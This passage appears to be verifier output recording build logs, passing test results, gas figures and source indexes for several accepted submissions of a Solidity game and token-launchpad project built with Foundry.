test_openPadRejectsExtraHookFlags() (gas: 8807685)\n[PASS] test_reentrantDistributeFromKingIsRefused() (gas: 9158219)\n[PASS] test_reentrantKingRefundIsRefusedAndMadeClaimable() (gas: 9334482)\n[PASS] test_reentrantWinnerIsRefusedAndMadeClaimable() (gas: 3715892)\n[PASS] test_resolveIsPermissionlessAndIdempotent() (gas: 2649874)\n[PASS] test_restartGenesisNeedsOpenPadAndFailedGenesis() (gas: 8151268)\n[PASS] test_singleLivingImpTakesEverything() (gas: 4797903)\n[PASS] test_soldOutCurveSendsWholeRollToPot() (gas: 2381892)\n[PASS] test_takeCrownBeforeAnyBidRejectsZeroAndDust() (gas: 8181627)\nSuite result: ok. 36 passed; 0 failed; 0 skipped; finished in 5.77s (476.10ms CPU time)\n\nRan 15 tests for test/Raffle.t.sol:RaffleTest\n[PASS] testFuzz_everyEntrantPlaysAtOrBelow200(uint16) (runs: 64, μ: 18737484, ~: 16332230)\nLogs:\n  Bound result 89\n\n[PASS] test_5000EntriesChunkedDrawGasAndNonselectedFeesStayBurned() (gas: 115883712)\nLogs:\n  5000-entry draw max chunk gas (cold game): 2640355\n  5000-entry draw total gas: 16156777\n\n[PASS] test_contractWalletCanEnterAndViewsArePaged() (gas: 51410774)\n[PASS] test_drawBeforeEntryBeforeSignupAndZeroChunkRejected() (gas: 369528)\n[PASS] test_entryExactFeeOnePerWalletAndNoRefund() (gas: 567537)\n[PASS] test_entryFeesAlsoFundBurnOnOrdinaryGames() (gas: 8150305)\n[PASS] test_entryGateAndReentrantBurnCallback() (gas: 1033138)\n[PASS] test_failedGenesisGriefCostsOneFeeEveryRoundAndNeverRefunds() (gas: 4711732)\n[PASS] test_firstEntryStartsTenMinutesAndLateEntryRejected() (gas: 583415)\n[PASS] test_hashAtExactly256BlocksOldStillSeeds() (gas: 646467)\n[PASS] test_manySeedsGiveEarlyAndLateEntrantsEqualOpportunity() (gas: 524318)\n[PASS] test_noRollUntilAllSeatsDrawnAndDelayedPlayStartsFresh() (gas: 48686834)\n[PASS] test_recommitOnlyBeforeSeedIfHashesExpire() (gas: 48346188)\n[PASS] test_seedUsesOnlyThreeFutureL2HashesAndChunkSizeCannotChangeSeats() (gas: 92414052)\n[PASS] test_upkeepCommitsThenDrawsInBoundedChunksAndKingCountsEntries() (gas: 1742067)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 5.77s (9.99s CPU time)\n\nRan 10 test suites in 5.78s (20.16s CPU time): 147 tests passed, 0 failed, 0 skipped (147 total tests)\n","passed":true},{"durationMs":98,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"KingOfThePad.claim()\",\"KingOfThePad.distribute(uint256)\",\"KingOfThePad.takeCrown()\",\"PadGame.claim()\",\"PadGame.draw(uint256)\",\"PadGame.enter()\",\"PadGame.finalize()\",\"PadGame.fundPot()\",\"PadGame.graduate()\",\"PadGame.initialize(uint256,address,address,bool)\",\"PadGame.poke()\",\"PadGame.resolvePending(uint256)\",\"PadGame.roll()\",\"PadGame.upkeepStep(address)\",\"PadLiquidity.bindKing()\",\"PadLiquidity.burnChunk()\",\"PadLiquidity.claim()\",\"PadLiquidity.collectPool(uint256)\",\"PadLiquidity.deployHook(bytes32)\",\"PadLiquidity.distribute(uint256)\",\"PadLiquidity.fundBurn()\",\"PadLiquidity.graduate(uint256,address,uint256,uint256,uint256)\",\"PadLiquidity.receive()\",\"PadLiquidity.unlockCallback(bytes)\",\"PadToken.approve(address,uint256)\",\"PadToken.initialize(string,string,address,address)\",\"PadToken.transfer(address,uint256)\",\"PadToken.transferFrom(address,address,uint256)\",\"PadToken.unlock()\",\"PvPPad.bindLiquidity()\",\"PvPPad.fundCarry()\",\"PvPPad.fundGames()\",\"PvPPad.launch(string,string,string)\",\"PvPPad.openPad(bytes32)\",\"PvPPad.restartGenesis()\",\"PvPPad.startGenesis()\",\"PvPPad.upkeep()\",\"PvPPad.upkeepFor(address)\"],\"files\":{\".gitignore\":4,\"README.md\":196,\"docs/AUDIT.md\":204,\"docs/TEST-REPORT.md\":111,\"docs/VERIFY.md\":54,\"foundry.toml\":22,\"launch.json\":37,\"remappings.txt\":2,\"src/KingOfThePad.sol\":119,\"src/PadGame.sol\":637,\"src/PadHook.sol\":24,\"src/PadLiquidity.sol\":364,\"src/PadToken.sol\":86,\"src/PvPPad.sol\":262,\"src/interfaces/Interfaces.sol\":105,\"src/libs/PadLib.sol\":108,\"test/Adversarial.t.sol\":791,\"test/AtomicDeployment.t.sol\":101,\"test/Base.t.sol\":200,\"test/Fuzz.t.sol\":286,\"test/Game.t.sol\":755,\"test/Invariants.t.sol\":575,\"test/King.t.sol\":312,\"test/LiquidityV4.t.sol\":249,\"test/Pad.t.sol\":291,\"test/Raffle.t.sol\":403,\"test/RaffleEdges.t.sol\":261,\"test/RealV4.sol\":79,\"test/mocks/Mocks.sol\":32,\"tools/validate_manifest.py\":58},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"d723459a6b6ccf00c410f3bedc44d18f13b6e77c078f0a9312c37a69a549a14f","verifiedTreeHash":"a3efb9052e30b3572cf25e5ce0763ba98b3e3a4f","verifierVersion":"0.1.0+67c588fa"},{"checks":[{"durationMs":112592,"exitCode":0,"name":"build","output":"Compiling 85 files with Solc 0.8.26\nSolc 0.8.26 finished in 112.37s\nCompiler run successful!\n","passed":true},{"durationMs":4700,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 14 tests for test/King.t.sol:KingTest\n[PASS] test_burnChunkBuysPvpToDeadEvery10Minutes() (gas: 1017540)\n[PASS] test_burnChunkStopsAtOnePercentPriceMoveAndKeepsTheRest() (gas: 244034)\n[PASS] test_burnWaitsForPvpGraduation() (gas: 8762013)\n[PASS] test_challengeNeedsHoldAnd110Percent() (gas: 1001423)\n[PASS] test_distributeSendsPoolFeesToKing() (gas: 915634)\n[PASS] test_distributeWithoutKingEscrows() (gas: 750882)\n[PASS] test_extraFundsLiveGamesByPotSize() (gas: 10349936)\n[PASS] test_firstBidMinimumAndFullSplit() (gas: 548486)\n[PASS] test_launchAfterGenesisPlaysAndGraduatesIntoOwnPool() (gas: 10321540)\n[PASS] test_refundToRejectingKingIsClaimable() (gas: 955596)\n[PASS] test_sandwichOnBurnChunkDoesNotPay() (gas: 1106492)\n[PASS] test_takeCrownUpkeepPaysFinalizerFeeToBidder() (gas: 4155375)\n[PASS] test_unlockCallbackOnlyPoolManager() (gas: 33110)\n[PASS] test_upkeepForAcceptsKingContract() (gas: 272657)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 65.10ms (46.58ms CPU time)\n\nRan 1 test for test/AtomicDeployment.t.sol:AtomicDeploymentTest\n[PASS] test_atomicManifestGasIncludingCalldataAndLaterGenesisFitsTarget() (gas: 33500182)\nLogs:\n  Raw CREATE2 manifest gas including calldata and intrinsic: 11818942\n  Later openPad including hook and genesis gas: 786390\n  Combined manifest and later opening gas: 12605332\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 74.62ms (69.52ms CPU time)\n\nRan 35 tests for test/Game.t.sol:GameTest\n[PASS] test_bellEndsGame() (gas: 1970146)\n[PASS] test_claimableWinner() (gas: 2474119)\n[PASS] test_conservationOfEth() (gas: 5132236)\n[PASS] test_curveQuoteMatchesConstantProduct() (gas: 42540)\n[PASS] test_deadImpCannotRingTheBell() (gas: 2266700)\n[PASS] test_deadImpCannotRollWhileOthersPlay() (gas: 2352869)\n[PASS] test_deathAndAllDeadEnd() (gas: 1869010)\n[PASS] test_entryOnePerWalletAndSignupWindow() (gas: 1564044)\n[PASS] test_expiredRollMovesTowardZero() (gas: 2394900)\n[PASS] test_failedPushBecomesClaimable() (gas: 1478454)\n[PASS] test_finalizePaysTriangularRanksAndBell() (gas: 5034501)\n[PASS] test_finalizeRanksAndPays() (gas: 4462134)\n[PASS] test_finalizeWaitsForPendingRolls() (gas: 1677522)\n[PASS] test_finalizeWith200LivingImpsStaysUnderFiveMillionGas() (gas: 108368586)\n[PASS] test_finalizerFeeCapped() (gas: 11555021)\n[PASS] test_finalizerFeeNeverExceedsRollPot() (gas: 1724289)\n[PASS] test_firstEntryStartsSignupWithoutSeating() (gas: 366202)\n[PASS] test_fundPotOnlyPad() (gas: 44030)\n[PASS] test_fundedPotReleasedToFiveLivingCappedAtThreeTimesRollPot() (gas: 18091066)\n[PASS] test_fundedPotReturnsToCarryWhenFewerThanFiveLive() (gas: 3379036)\n[PASS] test_graduateOnlyFromGame() (gas: 71158)\n[PASS] test_graduationCreatesPoolUnlocksTokenBurnsExcess() (gas: 7369255)\n[PASS] test_graduationWithoutEthFailsAndBurns() (gas: 1468580)\n[PASS] test_hardEndAt60Minutes() (gas: 3967211)\n[PASS] test_nonGenesisBurnShareGoesToBurnBucket() (gas: 9214291)\n[PASS] test_resolveBatchIsEight() (gas: 6891231)\n[PASS] test_rollAfterOwnBellReverts() (gas: 2222056)\n[PASS] test_rollRequiresPlayPhasePriceAndImp() (gas: 1869920)\n[PASS] test_rollResolvesAfterThreeBlocksWithArbHashes() (gas: 1791938)\n[PASS] test_rollResolvesOwnPreviousRoll() (gas: 1704100)\n[PASS] test_rollSplitGenesisBurnShareToPot() (gas: 1425587)\n[PASS] test_soldOutCurveSendsRollToPot() (gas: 1357619)\n[PASS] test_tieBreakFollowsCommitOrderNotResolutionOrder() (gas: 2943627)\n[PASS] test_tokenLockedUntilGraduation() (gas: 1513227)\n[PASS] test_upkeepFinalizesAndGraduatesDueGame() (gas: 2686561)\nSuite result: ok. 35 passed; 0 failed; 0 skipped; finished in 179.98ms (230.88ms CPU time)\n\nRan 21 tests for test/Pad.t.sol:PadTest\n[PASS] test_bindingsAndOwner() (gas: 107380)\n[PASS] test_bindingsAreOneShot() (gas: 87880)\n[PASS] test_carryPotFundsNextLaunch() (gas: 11140285)\n[PASS] test_closedPadRevertsEverything() (gas: 103846)\n[PASS] test_constructorsNeedNoExternalCodeAndMintNothing() (gas: 693311)\n[PASS] test_deployGasUnderBudget() (gas: 19924)\n[PASS] test_deployHookOnlyByPad() (gas: 31087)\n[PASS] test_failedGenesisIsRestartedByLaunchAndThePadRecovers() (gas: 11781391)\n[PASS] test_fundGamesOnlyKing() (gas: 39647)\n[PASS] test_hookRejectsForeignInitialize() (gas: 1122672)\n[PASS] test_launchRevertsUntilGenesisGraduates() (gas: 9069523)\n[PASS] test_launchValidatesStrings() (gas: 8244245)\n[PASS] test_openPadByAnyoneAfter30Days() (gas: 992984)\n[PASS] test_openPadByOwnerDeploysHookWithExactFlag() (gas: 1024447)\n[PASS] test_openPadOnlyOnce() (gas: 1065146)\n[PASS] test_openPadRejectsBadSalt() (gas: 213652)\n[PASS] test_openPadStrangerBefore30DaysReverts() (gas: 280832)\n[PASS] test_restartGenesisRevertsWhileGenesisWaitsOrPlays() (gas: 1412514)\n[PASS] test_runtimeSizesAndNoEscapeOpcodes() (gas: 31703996)\n[PASS] test_templatesCannotBeInitialized() (gas: 1163703)\n[PASS] test_upkeepForOnlyGames() (gas: 1201607)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 188.21ms (177.96ms CPU time)\n\nRan 9 tests for test/Revision.t.sol:RevisionTest\n[PASS] test_carryWaitsInThePadUntilARaffleSeatsFiveImps() (gas: 13609836)\n[PASS] test_freeLaunchesDoNotCrowdEnteredGamesOutOfTheKingWindowOrUpkeep() (gas: 19944958)\n[PASS] test_fullRangeSqrtPriceConstantsMatchTickMath() (gas: 16965)\n[PASS] test_liquidityClaimLockIsSeparateFromThePoolGuard() (gas: 9146971)\n[PASS] test_outgoingKingIsPaidEvenWhenTheBidComesFromInsideLiquidityClaim() (gas: 9960432)\n[PASS] test_seatedEventUsesTheSameOneBasedIndexesAsTheViews() (gas: 1684058)\n[PASS] test_soleBuyerSybilLosesMoneyEvenAfterDumpingEveryTokenAndTakingTheCappedRelease() (gas: 10576758)\nLogs:\n  curve ETH raised: 441000000000000000\n  sybil net outlay before the dump: 394650000000000000\n  dump proceeds: 259263336672922540\n\n[PASS] test_takeCarryAndNoteFirstEntryAreGameOnly() (gas: 8943750)\n[PASS] test_takeCrownRevertsInsteadOfSkippingTheOutgoingKingWhileLiquidityIsLocked() (gas: 8909675)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 191.62ms (243.76ms CPU time)\n\nRan 9 tests for test/Fuzz.t.sol:FuzzTest\n[PASS] testFuzz_challengeBelow110PercentOrWithinHoldReverts(uint256,uint256,uint256) (runs: 200, μ: 8708771, ~: 8708858)\nLogs:\n  Bound result 19990000000000012221\n  Bound result 50\n  Bound result 2400\n\n[PASS] testFuzz_challengeRefundsOldKingAndSplitsOnlyTheExtra(uint256,uint256) (runs: 200, μ: 8984425, ~: 8984483)\nLogs:\n  Bound result 16079432639071641108\n  Bound result 47366815410138068573\n\n[PASS] testFuzz_finalizePaysTopHalfWithTriangularWeightsAndNothingLeaks(uint8,uint256) (runs: 64, μ: 12116609, ~: 11592293)\nLogs:\n  Bound result 1\n  Bound result 902397712997\n\n[PASS] testFuzz_firstBidSplitsToTheWei(uint256) (runs: 200, μ: 8595193, ~: 8595227)\nLogs:\n  Bound result 49990000002447209286\n\n[PASS] testFuzz_fundedReleaseNeverExceedsThreeTimesRollIncome(uint8,uint256,uint8) (runs: 64, μ: 5551780, ~: 4916179)\nLogs:\n  Bound result 1\n  Bound result 1\n  Bound result 118446943263843349\n\n[PASS] testFuzz_quoteFromAnyCurveStateIsConsistent(uint256,uint256) (runs: 1000, μ: 37232, ~: 37240)\nLogs:\n  Bound result 393528593821441371459641979\n  Bound result 1815196737906823897\n\n[PASS] testFuzz_quoteFromFreshCurveNeverUndercharges(uint256) (runs: 1000, μ: 21403, ~: 20999)\nLogs:\n  Bound result 3135424969\n\n[PASS] testFuzz_quoteIsMonotoneInEth(uint256,uint256,uint256) (runs: 500, μ: 37754, ~: 37951)\nLogs:\n  Bound result 796247245874660579182381030\n  Bound result 2622886383225522990\n  Bound result 2718229471666940625\n\n[PASS] testFuzz_rollSplitConservesEveryWei(uint8,bool) (runs: 64, μ: 8932629, ~: 10279018)\nLogs:\n  Bound result 1\n\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 619.40ms (3.79s CPU time)\n\nRan 9 tests for test/LiquidityV4.t.sol:LiquidityV4Test\n[PASS] test_collectPoolRejectsExternalCallers() (gas: 30889)\n[PASS] test_crownPrecollectsOnlyEightOfTenPools() (gas: 10273822)\nLogs:\n  takeCrown gas, ten real pools: 1644856\n\n[PASS] test_failedDistributorCannotBlockCrown() (gas: 8808995)\n[PASS] test_oneFailingPoolCannotBlockBidOrHealthyPoolFees() (gas: 14537922)\n[PASS] test_outgoingKingReceivesFeesBeforeCrownEvent() (gas: 9333235)\n[PASS] test_realBurnIgnoresAnUnrelatedPriorTokenSync() (gas: 8316601)\n[PASS] test_realPoolManagerGraduatesSoldOutAfter2400ActualRolls() (gas: 1876146)\n[PASS] test_realPoolManagerSmallestRaiseGraduatesAndConservesAccounting() (gas: 3588008)\n[PASS] test_realTradingTokenFeesAreSoldForEthAndPaidToKing() (gas: 9004662)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 1.06s (1.18s CPU time)\n\nRan 36 tests for test/Adversarial.t.sol:AdversarialTest\n[PASS] test_bellOnlyRingsOnceAndNotForNegativeClampOverflow() (gas: 3284611)\n[PASS] test_bellRingerOutsideTopHalfStillGetsBellShare() (gas: 3997525)\n[PASS] test_claimNothingReverts() (gas: 1175620)\n[PASS] test_constructorsRejectZeroAddresses() (gas: 9679)\n[PASS] test_crownEventAndSameKingMayRebid() (gas: 8925519)\n[PASS] test_curveNeverUnderchargesAlongRealRolls() (gas: 11673944)\n[PASS] test_distributeRoundRobinAcrossPools() (gas: 19558711)\n[PASS] test_expiredRollAtZeroHeightStaysZeroAndNeverRingsBell() (gas: 2544872)\n[PASS] test_failedGenesisKeepsKingAndBurnClosedAndLaunchOnlyRelaunchesPvp() (gas: 3441777)\n[PASS] test_failedGenesisRelaunchTakesTheCarryPotAsFundedEth() (gas: 4997935)\n[PASS] test_finalizeWithTwoHundredLivingImpsWorstCaseOrderFitsInBlock() (gas: 114470486)\nLogs:\n  finalize gas, 200 living imps, worst-case order: 3786900\n\n[PASS] test_fundGamesOnlyLooksAtLastTenLaunches() (gas: 32364293)\n[PASS] test_fundGamesSkipsGamesWithFewerThanFiveImpsAndEndedOnes() (gas: 16476123)\n[PASS] test_fundGamesSplitsEquallyWhenAllPotsEmpty() (gas: 13125081)\n[PASS] test_fundPotRefusedFromStrangersAndAfterFinalize() (gas: 2428673)\n[PASS] test_hashWindowBoundaryAt257And258Blocks() (gas: 3222660)\n[PASS] test_hookRejectsForeignInitializeWithWrongKeyToo() (gas: 1082199)\n[PASS] test_kingConstructorCannotBindTwice() (gas: 9180)\n[PASS] test_lastRollOnCurveUsesOnlyRemainingEthAndRestToPot() (gas: 2452215)\n[PASS] test_launchViewsRejectIdZero() (gas: 33175)\n[PASS] test_liquidityMayMoveLockedTokensAndApprovalsWorkAfterUnlock() (gas: 2674467)\n[PASS] test_mintEventsAndLaunchEvent() (gas: 9565110)\n[PASS] test_mintOnFreshLaunchBeforeItsOwnFirstMintIsStatusZero() (gas: 8998546)\n[PASS] test_noBellAllToRanksAndDustToCarry() (gas: 7888350)\n[PASS] test_openPadAndGenesisNeedBindings() (gas: 78238)\n[PASS] test_openPadAtExactDeadlineByStranger() (gas: 993603)\n[PASS] test_openPadEmitsAndIsFinal() (gas: 1033453)\n[PASS] test_openPadRejectsExtraHookFlags() (gas: 8807797)\n[PASS] test_reentrantDistributeFromKingIsRefused() (gas: 9271309)\n[PASS] test_reentrantKingRefundIsRefusedAndMadeClaimable() (gas: 9451632)\n[PASS] test_reentrantWinnerIsRefusedAndMadeClaimable() (gas: 3770882)\n[PASS] test_resolveIsPermissionlessAndIdempotent() (gas: 2697197)\n[PASS] test_restartGenesisNeedsOpenPadAndFailedGenesis() (gas: 8259228)\n[PASS] test_singleLivingImpTakesEverything() (gas: 4872018)\n[PASS] test_soldOutCurveSendsWholeRollToPot() (gas: 2424546)\n[PASS] test_takeCrownBeforeAnyBidRejectsZeroAndDust() (gas: 8289497)\nSuite result: ok. 36 passed; 0 failed; 0 skipped; finished in 3.21s (422.67ms CPU time)\n\nRan 1 test for test/Invariants.t.sol:InvariantTest\n[PASS]\nInvariantTest invariants:\n[PASS] invariant_callSummary\n[PASS] invariant_curveNeverUnderchargesAndNeverOversells\n[PASS] invariant_fundedPotIsPartOfPotAndClearedByFinalize\n[PASS] invariant_gameBalanceEqualsObligations\n[PASS] invariant_genesisGatesLaunchesAndKing\n[PASS] invariant_impsAndRollsBounded\n[PASS] invariant_kingHoldsOnlyClaimables\n[PASS] invariant_liquidityBalanceEqualsObligations\n[PASS] invariant_padHoldsOnlyCarryPot\n[PASS] invariant_systemEthConserved\n[PASS] invariant_tokenSupplyFixedAndFullyAccounted\n[PASS] invariant_tokenUnlockedOnlyBySuccessfulGraduation\n InvariantTest invariants (runs: 40, calls: 2400, reverts: 0)\n\n╭------------+----------------+-------+---------+----------╮\n| Contract   | Selector       | Calls | Reverts | Discards |\n+==========================================================+\n| PadHandler | burnChunk      | 101   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimGame      | 107   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimKing      | 109   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimLiquidity | 91    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | creditFees     | 104   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | distribute     | 134   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | draw           | 88    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | enter          | 106   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | finalize       | 85    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundBurn       | 90    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundCarry      | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundPot        | 93    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | graduate       | 95    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | launch         | 96    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | padUpkeep      | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | poke           | 84    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | resolve        | 110   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | restartGenesis | 93    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | roll           | 215   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | takeCrown      | 91    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | tokenTransfer  | 106   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | warp           | 192   | 0       | 0        |\n╰------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 15\n  Bound result 0\n  Bound result 10000000000\n  Bound result 10000000000\n  Bound result 912081\n  Bound result 0\n  Bound result 100\n  Bound result 2995000000000000245\n  Bound result 0\n  Bound result 5000000000000000\n  Bound result 2995000000000012726\n  Bound result 16384\n  Bound result 400000\n  Bound result 13755\n  Bound result 720\n  Bound result 122\n  Bound result 1306165815548362784\n  Bound result 0\n  Bound result 0\n  Bound result 56\n  Bound result 0\n  Bound result 640\n  Bound result 243\n  Bound result 0\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.57s (3.54s CPU time)\n\nRan 15 tests for test/Raffle.t.sol:RaffleTest\n[PASS] testFuzz_everyEntrantPlaysAtOrBelow200(uint16) (runs: 64, μ: 19572928, ~: 14848837)\nLogs:\n  Bound result 89\n\n[PASS] test_5000EntriesChunkedDrawGasAndNonselectedFeesStayBurned() (gas: 116003834)\nLogs:\n  5000-entry draw max chunk gas (cold game): 2640333\n  5000-entry draw total gas: 16166051\n\n[PASS] test_contractWalletCanEnterAndViewsArePaged() (gas: 52229810)\n[PASS] test_drawBeforeEntryBeforeSignupAndZeroChunkRejected() (gas: 409784)\n[PASS] test_entryExactFeeOnePerWalletAndNoRefund() (gas: 608202)\n[PASS] test_entryFeesAlsoFundBurnOnOrdinaryGames() (gas: 8235485)\n[PASS] test_entryGateAndReentrantBurnCallback() (gas: 1046332)\n[PASS] test_failedGenesisGriefCostsOneFeeEveryRoundAndNeverRefunds() (gas: 4833973)\n[PASS] test_firstEntryStartsTenMinutesAndLateEntryRejected() (gas: 627477)\n[PASS] test_hashAtExactly256BlocksOldStillSeeds() (gas: 686806)\n[PASS] test_manySeedsGiveEarlyAndLateEntrantsEqualOpportunity() (gas: 524318)\n[PASS] test_noRollUntilAllSeatsDrawnAndDelayedPlayStartsFresh() (gas: 49490136)\n[PASS] test_recommitOnlyBeforeSeedIfHashesExpire() (gas: 49144610)\n[PASS] test_seedUsesOnlyThreeFutureL2HashesAndChunkSizeCannotChangeSeats() (gas: 93439570)\n[PASS] test_upkeepCommitsThenDrawsInBoundedChunksAndKingCountsEntries() (gas: 1811021)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 4.52s (8.74s CPU time)\n\nRan 10 test suites in 4.54s (13.69s CPU time): 150 tests passed, 0 failed, 0 skipped (150 total tests)\n","passed":true},{"durationMs":93,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"KingOfThePad.claim()\",\"KingOfThePad.distribute(uint256)\",\"KingOfThePad.takeCrown()\",\"PadGame.claim()\",\"PadGame.draw(uint256)\",\"PadGame.enter()\",\"PadGame.finalize()\",\"PadGame.fundPot()\",\"PadGame.graduate()\",\"PadGame.initialize(uint256,address,address,bool)\",\"PadGame.poke()\",\"PadGame.resolvePending(uint256)\",\"PadGame.roll()\",\"PadGame.upkeepStep(address)\",\"PadLiquidity.bindKing()\",\"PadLiquidity.burnChunk()\",\"PadLiquidity.claim()\",\"PadLiquidity.collectPool(uint256)\",\"PadLiquidity.deployHook(bytes32)\",\"PadLiquidity.distribute(uint256)\",\"PadLiquidity.fundBurn()\",\"PadLiquidity.graduate(uint256,address,uint256,uint256,uint256)\",\"PadLiquidity.receive()\",\"PadLiquidity.unlockCallback(bytes)\",\"PadToken.approve(address,uint256)\",\"PadToken.initialize(string,string,address,address)\",\"PadToken.transfer(address,uint256)\",\"PadToken.transferFrom(address,address,uint256)\",\"PadToken.unlock()\",\"PvPPad.bindLiquidity()\",\"PvPPad.fundCarry()\",\"PvPPad.fundGames()\",\"PvPPad.launch(string,string,string)\",\"PvPPad.noteFirstEntry(uint256)\",\"PvPPad.openPad(bytes32)\",\"PvPPad.restartGenesis()\",\"PvPPad.startGenesis()\",\"PvPPad.takeCarry(uint256)\",\"PvPPad.upkeep()\",\"PvPPad.upkeepFor(address)\"],\"files\":{\".gitignore\":4,\"README.md\":201,\"docs/AUDIT.md\":256,\"docs/TEST-REPORT.md\":117,\"docs/VERIFY.md\":60,\"foundry.toml\":22,\"launch.json\":37,\"remappings.txt\":2,\"src/KingOfThePad.sol\":125,\"src/PadGame.sol\":663,\"src/PadHook.sol\":24,\"src/PadLiquidity.sol\":372,\"src/PadToken.sol\":86,\"src/PvPPad.sol\":291,\"src/interfaces/Interfaces.sol\":107,\"src/libs/PadLib.sol\":108,\"test/Adversarial.t.sol\":797,\"test/AtomicDeployment.t.sol\":101,\"test/Base.t.sol\":200,\"test/Fuzz.t.sol\":291,\"test/Game.t.sol\":758,\"test/Invariants.t.sol\":575,\"test/King.t.sol\":312,\"test/LiquidityV4.t.sol\":249,\"test/Pad.t.sol\":299,\"test/Raffle.t.sol\":405,\"test/RealV4.sol\":79,\"test/Revision.t.sol\":264,\"test/mocks/Mocks.sol\":32,\"tools/validate_manifest.py\":58},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"ddbad4061842807aaa0c1be0ac43338784a64d2f24b4d3f669a606b6503bb4b5","verifiedTreeHash":"ce973ae19b5615ad133a9df3d061f6fb8da2d633","verifierVersion":"0.1.0+67c588fa"},{"checks":[{"durationMs":129735,"exitCode":0,"name":"build","output":"Compiling 84 files with Solc 0.8.26\nSolc 0.8.26 finished in 129.56s\nCompiler run successful!\n","passed":true},{"durationMs":6161,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/AtomicDeployment.t.sol:AtomicDeploymentTest\n[PASS] test_atomicManifestGasIncludingCalldataAndLaterGenesisFitsTarget() (gas: 27565511)\nLogs:\n  Raw CREATE2 manifest gas including calldata and intrinsic: 11672882\n  Later openPad including hook and genesis gas: 788443\n  Combined manifest and later opening gas: 12461325\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 66.05ms (61.63ms CPU time)\n\nRan 14 tests for test/King.t.sol:KingTest\n[PASS] test_burnChunkBuysPvpToDeadEvery10Minutes() (gas: 1016865)\n[PASS] test_burnChunkStopsAtOnePercentPriceMoveAndKeepsTheRest() (gas: 243736)\n[PASS] test_burnWaitsForPvpGraduation() (gas: 8763777)\n[PASS] test_challengeNeedsHoldAnd110Percent() (gas: 991427)\n[PASS] test_distributeSendsPoolFeesToKing() (gas: 910324)\n[PASS] test_distributeWithoutKingEscrows() (gas: 746348)\n[PASS] test_extraFundsLiveGamesByPotSize() (gas: 10191638)\n[PASS] test_firstBidMinimumAndFullSplit() (gas: 542854)\n[PASS] test_launchAfterGenesisPlaysAndGraduatesIntoOwnPool() (gas: 10149863)\n[PASS] test_refundToRejectingKingIsClaimable() (gas: 946105)\n[PASS] test_sandwichOnBurnChunkDoesNotPay() (gas: 1101685)\n[PASS] test_takeCrownUpkeepPaysFinalizerFeeToBidder() (gas: 4137621)\n[PASS] test_unlockCallbackOnlyPoolManager() (gas: 33088)\n[PASS] test_upkeepForAcceptsKingContract() (gas: 268877)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 68.53ms (55.59ms CPU time)\n\nRan 9 tests for test/Fuzz.t.sol:FuzzTest\n[PASS] testFuzz_challengeBelow110PercentOrWithinHoldReverts(uint256,uint256,uint256) (runs: 200, μ: 8596016, ~: 8596096)\nLogs:\n  Bound result 19990000000000012022\n  Bound result 200\n  Bound result 993\n\n[PASS] testFuzz_challengeRefundsOldKingAndSplitsOnlyTheExtra(uint256,uint256) (runs: 200, μ: 8867260, ~: 8867325)\nLogs:\n  Bound result 12399921930435212306\n  Bound result 46393892585148245874\n\n[PASS] testFuzz_finalizePaysTopHalfWithTriangularWeightsAndNothingLeaks(uint8,uint256) (runs: 64, μ: 11853397, ~: 11387126)\nLogs:\n  Bound result 1\n  Bound result 902397712997\n\n[PASS] testFuzz_firstBidSplitsToTheWei(uint256) (runs: 200, μ: 8482294, ~: 8482333)\nLogs:\n  Bound result 49990000000000002327\n\n[PASS] testFuzz_fundedReleaseNeverExceedsThreeTimesRollIncome(uint8,uint256,uint8) (runs: 64, μ: 5645486, ~: 5742343)\nLogs:\n  Bound result 1\n  Bound result 1\n  Bound result 118446943263843349\n\n[PASS] testFuzz_quoteFromAnyCurveStateIsConsistent(uint256,uint256) (runs: 1000, μ: 37172, ~: 37174)\nLogs:\n  Bound result 534278400983584087670312453\n  Bound result 933003202987086000\n\n[PASS] 